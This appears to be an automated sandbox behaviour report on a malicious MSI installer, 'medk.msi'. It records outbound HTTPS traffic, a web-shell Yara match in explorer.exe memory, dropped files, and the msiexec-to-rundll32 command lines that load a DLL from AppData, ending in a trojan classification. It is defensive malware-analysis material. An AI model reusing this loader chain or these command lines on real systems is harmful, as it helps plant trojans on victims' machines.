Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443

Source: unknown	HTTPS traffic detected: 104.21.92.105:443 -> 192.168.2.6:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.162:443 -> 192.168.2.6:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.162:443 -> 192.168.2.6:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.105:443 -> 192.168.2.6:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.105:443 -> 192.168.2.6:50077 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: explorer.exe PID: 4004, type: MEMORYSTR

Matched rule: Semi-Auto-generated - file ironshell.php.txt Author: Neo23x0 Yara BRG + customization by Stefan -dfate- Molls

Source: C:\Windows\explorer.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\System32\rundll32.exe	Code function: 6_3_00000293134ED279 NtAllocateVirtualMemory,	6_3_00000293134ED279
Source: C:\Windows\System32\rundll32.exe	Code function: 6_3_00000293134ED2E9 NtProtectVirtualMemory,	6_3_00000293134ED2E9
Source: C:\Windows\explorer.exe	Code function: 8_2_02E082B4 NtFreeVirtualMemory,	8_2_02E082B4
Source: C:\Windows\explorer.exe	Code function: 8_2_02E0B388 NtAllocateVirtualMemory,	8_2_02E0B388
Source: C:\Windows\explorer.exe	Code function: 8_2_02E0C704 NtDelayExecution,	8_2_02E0C704
Source: C:\Windows\explorer.exe	Code function: 8_2_02E080B8 RtlInitUnicodeString,NtCreateFile,	8_2_02E080B8
Source: C:\Windows\explorer.exe	Code function: 8_2_02E08240 NtClose,	8_2_02E08240
Source: C:\Windows\explorer.exe	Code function: 8_2_02E081C8 NtWriteFile,	8_2_02E081C8
Source: C:\Windows\explorer.exe	Code function: 8_2_02E101A0 NtFreeVirtualMemory,CreateMutexExW,	8_2_02E101A0
Source: C:\Windows\explorer.exe	Code function: 8_2_02E10130 NtAllocateVirtualMemory,	8_2_02E10130

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\6d8c4f.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8D3A.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8D89.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8DD8.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8E17.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\SourceHash{5AB6B0C5-5CD6-4CF7-ABF4-4E467A0D78CE}	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8E67.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8F42.tmp	Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\MSI8D3A.tmp

Jump to behavior

Source: C:\Windows\Installer\MSI8F42.tmp	Code function: 4_2_002F6A50	4_2_002F6A50
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: 4_2_0032F032	4_2_0032F032
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: 4_2_0031E270	4_2_0031E270
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: 4_2_003292A9	4_2_003292A9
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: 4_2_0031C2CA	4_2_0031C2CA
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: 4_2_003284BD	4_2_003284BD
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: 4_2_0031A587	4_2_0031A587
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: 4_2_002FC870	4_2_002FC870
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: 4_2_0032D8D5	4_2_0032D8D5
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: 4_2_00314920	4_2_00314920
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: 4_2_0031A915	4_2_0031A915
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: 4_2_00320A48	4_2_00320A48
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: 4_2_002F9CC0	4_2_002F9CC0
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: 4_2_00325D6D	4_2_00325D6D
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018000EC30	6_2_000000018000EC30
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800F2C34	6_2_00000001800F2C34
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800E1D20	6_2_00000001800E1D20
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800E317C	6_2_00000001800E317C
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800E358C	6_2_00000001800E358C
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800E399C	6_2_00000001800E399C
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800DB5E8	6_2_00000001800DB5E8
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800E5638	6_2_00000001800E5638
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800E464C	6_2_00000001800E464C
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018005A270	6_2_000000018005A270
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800F32B4	6_2_00000001800F32B4
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800596E0	6_2_00000001800596E0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800036F0	6_2_00000001800036F0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800FB318	6_2_00000001800FB318
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018000B740	6_2_000000018000B740
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800F27A0	6_2_00000001800F27A0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800F0F9C	6_2_00000001800F0F9C
Source: C:\Windows\explorer.exe	Code function: 8_2_02E01A8C	8_2_02E01A8C
Source: C:\Windows\explorer.exe	Code function: 8_2_02E01A7C	8_2_02E01A7C
Source: C:\Windows\explorer.exe	Code function: 8_2_02E02164	8_2_02E02164

Source: C:\Windows\Installer\MSI8F42.tmp	Code function: String function: 00313292 appears 70 times
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: String function: 0031325F appears 103 times
Source: C:\Windows\Installer\MSI8F42.tmp	Code function: String function: 00313790 appears 39 times

Source: medk.msi	Binary or memory string: OriginalFilenameviewer.exeF vs medk.msi
Source: medk.msi	Binary or memory string: OriginalFilenameAICustAct.dllF vs medk.msi

Source: Process Memory Space: explorer.exe PID: 4004, type: MEMORYSTR

Matched rule: ironshell_php author = Neo23x0 Yara BRG + customization by Stefan -dfate- Molls, description = Semi-Auto-generated - file ironshell.php.txt, hash = 8bfa2eeb8a3ff6afc619258e39fded56

Source: tab.dll.2.dr

Binary string: \BaseNamedObjects\NODCOMM%08XTo%08XCommPortAlpcNOD_SHEVT_%s%xSession\%u\NOD_SHMEM_%s%x\\\Device\\\.\MountPointManager\Device\LanmanRedirector\;%c:SystemRootMup\LanmanRedirector\NwRdr\NetWareRedirector\;LanmanRedirector\SystemHarddiskVolume%d%c:HarddiskDmVolumesS-%lu-0x%02hx%02hx%02hx%02hx%02hx%02hx%lu-%lu\NODSTSIBM037IBM437IBM500ASMO-708DOS-720ibm737ibm775ibm850ibm852IBM855ibm857IBM00858IBM860ibm861DOS-862IBM862IBM863IBM864IBM865cp866IBM866ibm869IBM870windows-874TIS-620cp875shift_jisshift-jisgb2312gb_2312-80gbkwindows-936ks_c_5601-1987EUC-KRbig5x-x-big5IBM1026IBM01047IBM01140IBM01141IBM01142IBM01143IBM01144IBM01145IBM01146IBM01147IBM01148IBM01149utf-16unicodeFFFEwindows-1250windows-1251windows-1252windows-1253windows-1254windows-1255windows-1256windows-1257windows-1258Johabmacintoshx-mac-japanesex-mac-chinesetradx-mac-koreanx-mac-arabicx-mac-hebrewx-mac-greekx-mac-cyrillicx-mac-chinesesimpx-mac-romanianx-mac-ukrainianx-mac-thaix-mac-cex-mac-icelandicx-mac-turkishx-mac-croatianutf-32utf-32BEx-Chinese_CNSx-cp20001x_Chinese-Etenx-cp20003x-cp20004x-cp20005x-IA5x-IA5-Germanx-IA5-Swedishx-IA5-Norwegianus-asciix-cp20261x-cp20269IBM273IBM277IBM278IBM280IBM284IBM285IBM290IBM297IBM420IBM423IBM424x-EBCDIC-KoreanExtendedIBM-Thaikoi8-rIBM871IBM880IBM905IBM00924EUC-JPx-cp20936x-cp20949cp1025koi8-uiso-8859-1iso-8859-2iso-8859-3iso-8859-4iso-8859-5iso-8859-6iso-8859-7iso-8859-8iso-8859-9iso-8859-13iso-8859-15x-Europaiso-8859-8-iiso-2022-jpcsISO2022JPiso-2022-krx-cp50227euc-jpEUC-CNeuc-krhz-gb-2312GB18030x-iscii-dex-iscii-bex-iscii-tax-iscii-tex-iscii-asx-iscii-orx-iscii-kax-iscii-max-iscii-gux-iscii-pautf-7utf-8%

Source: classification engine

Classification label: mal100.troj.evad.winMSI@9/24@4/4

Source: C:\Windows\Installer\MSI8F42.tmp

Code function: 4_2_002F3860 CreateToolhelp32Snapshot,CloseHandle,Process32FirstW,OpenProcess,CloseHandle,Process32NextW,CloseHandle,

4_2_002F3860

Source: C:\Windows\Installer\MSI8F42.tmp

Code function: 4_2_002F4BA0 CoInitialize,CoCreateInstance,VariantInit,VariantClear,IUnknown_QueryService,IUnknown_QueryInterface_Proxy,IUnknown_QueryInterface_Proxy,CoAllowSetForegroundWindow,SysAllocString,SysAllocString,SysAllocString,SysAllocString,VariantInit,OpenProcess,WaitForSingleObject,GetExitCodeProcess,CloseHandle,LocalFree,VariantClear,VariantClear,VariantClear,VariantClear,VariantClear,SysFreeString,VariantClear,CoUninitialize,_com_issue_error,

4_2_002F4BA0

Source: C:\Windows\Installer\MSI8F42.tmp

Code function: 4_2_002F45B0 LoadResource,LockResource,SizeofResource,

4_2_002F45B0

Source: C:\Windows\System32\msiexec.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\CML8E91.tmp

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Mutant created: NULL

Source: C:\Windows\System32\msiexec.exe

File created: C:\Windows\TEMP\~DF4DA8C45DC3BE49B0.TMP

Jump to behavior

Source: C:\Windows\Installer\MSI8F42.tmp

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown

Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\rundll32.exe" C:\Users\user\AppData\Roaming\tab.dll, Object

Source: rundll32.exe, 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmp, tab.dll.2.dr	Binary or memory string: UPDATE MsgPrefix SET JustCreatedFlag = 0 WHERE MsgPrefixID = ?;
Source: rundll32.exe, 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmp, tab.dll.2.dr	Binary or memory string: INSERT INTO CacheDbInfo(DbVersion, UsingAdditionalSemiUniqueID, LastMaintenanceTimestamp) VALUES(?, ?, ?);
Source: rundll32.exe, 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmp, tab.dll.2.dr	Binary or memory string: CREATE TABLE MsgCache(MsgRowid INTEGER PRIMARY KEY, MsgPrefixID INTEGER, MsgID BLOB NOT NULL, LastUsedTimestamp INTEGER, RecordFlags INTEGER, AVData BLOB, ASData BLOB);
Source: rundll32.exe, 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmp, tab.dll.2.dr	Binary or memory string: SELECT MsgRowid, AVData, ASData, LastUsedTimestamp, RecordFlags FROM MsgCache WHERE MsgID = ? AND MsgPrefixID = ?;
Source: rundll32.exe, 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmp, tab.dll.2.dr	Binary or memory string: SELECT MsgRowid, AVData, ASData, LastUsedTimestamp, RecordFlags, AdditionalSemiUniqueID FROM MsgCache WHERE MsgID = ? AND MsgPrefixID = ?;
Source: rundll32.exe, 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmp, tab.dll.2.dr	Binary or memory string: INSERT INTO TempDb.MsgPrefixRowsToDelete SELECT MsgPrefixID FROM MsgPrefix WHERE MsgPrefixID NOT IN (SELECT DISTINCT MsgPrefixID FROM MsgCache) AND (JustCreatedFlag = 0 OR JustCreatedFlag < ? OR JustCreatedFlag > ?);
Source: rundll32.exe, 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmp, tab.dll.2.dr	Binary or memory string: CREATE TABLE MsgPrefix(MsgPrefixID INTEGER PRIMARY KEY, MsgPrefixData BLOB NOT NULL, JustCreatedFlag INTEGER);
Source: rundll32.exe, 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmp, tab.dll.2.dr	Binary or memory string: CREATE TABLE TempDb.MsgPrefixRowsToDelete(MsgPrefixID INTEGER PRIMARY KEY);
Source: rundll32.exe, 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmp, tab.dll.2.dr	Binary or memory string: CREATE TABLE MsgCache(MsgRowid INTEGER PRIMARY KEY, MsgPrefixID INTEGER, MsgID BLOB, LastUsedTimestamp INTEGER, RecordFlags INTEGER, AVData BLOB, ASData BLOB, AdditionalSemiUniqueID BLOB NOT NULL);
Source: rundll32.exe, 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmp, tab.dll.2.dr	Binary or memory string: CREATE TABLE CacheDbInfo(DbVersion INTEGER, UsingAdditionalSemiUniqueID INTEGER, LastMaintenanceTimestamp INTEGER);
Source: rundll32.exe, 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmp, tab.dll.2.dr	Binary or memory string: SELECT DbVersion, UsingAdditionalSemiUniqueID, LastMaintenanceTimestamp FROM CacheDbInfo LIMIT 1;
Source: rundll32.exe, 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmp, tab.dll.2.dr	Binary or memory string: INSERT INTO TempDb.MsgCacheRowsToDelete SELECT MsgRowid FROM MsgCache WHERE LastUsedTimestamp < ? OR LastUsedTimestamp > ? OR MsgPrefixID NOT IN (SELECT MsgPrefixID FROM MsgPrefix);
Source: rundll32.exe, 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmp, tab.dll.2.dr	Binary or memory string: SELECT MsgPrefixID FROM MsgPrefix WHERE MsgPrefixData = ? LIMIT 1;
Source: rundll32.exe, 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmp, tab.dll.2.dr	Binary or memory string: SELECT MsgRowid, AVData, ASData, LastUsedTimestamp, RecordFlags, AdditionalSemiUniqueID FROM MsgCache WHERE MsgRowid = ?;
Source: rundll32.exe, 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmp, tab.dll.2.dr	Binary or memory string: CREATE TABLE TempDb.MsgCacheRowsToDelete(MsgRowid INTEGER PRIMARY KEY);
Source: rundll32.exe, 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmp, tab.dll.2.dr	Binary or memory string: INSERT INTO MsgPrefix(MsgPrefixData, JustCreatedFlag) VALUES (?, ?);

Source: unknown	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\medk.msi"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 31D436F1086AC158C6FA541C36CED057
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSI8F42.tmp "C:\Windows\Installer\MSI8F42.tmp" /DontWait C:/Windows/SysWOW64/rundll32.exe C:\Users\user\AppData\Roaming\tab.dll, Object
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\rundll32.exe" C:\Users\user\AppData\Roaming\tab.dll, Object
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\SysWOW64\rundll32.exe" C:\Users\user\AppData\Roaming\tab.dll, Object
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 31D436F1086AC158C6FA541C36CED057	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSI8F42.tmp "C:\Windows\Installer\MSI8F42.tmp" /DontWait C:/Windows/SysWOW64/rundll32.exe C:\Users\user\AppData\Roaming\tab.dll, Object	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\SysWOW64\rundll32.exe" C:\Users\user\AppData\Roaming\tab.dll, Object	Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srclient.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: spp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
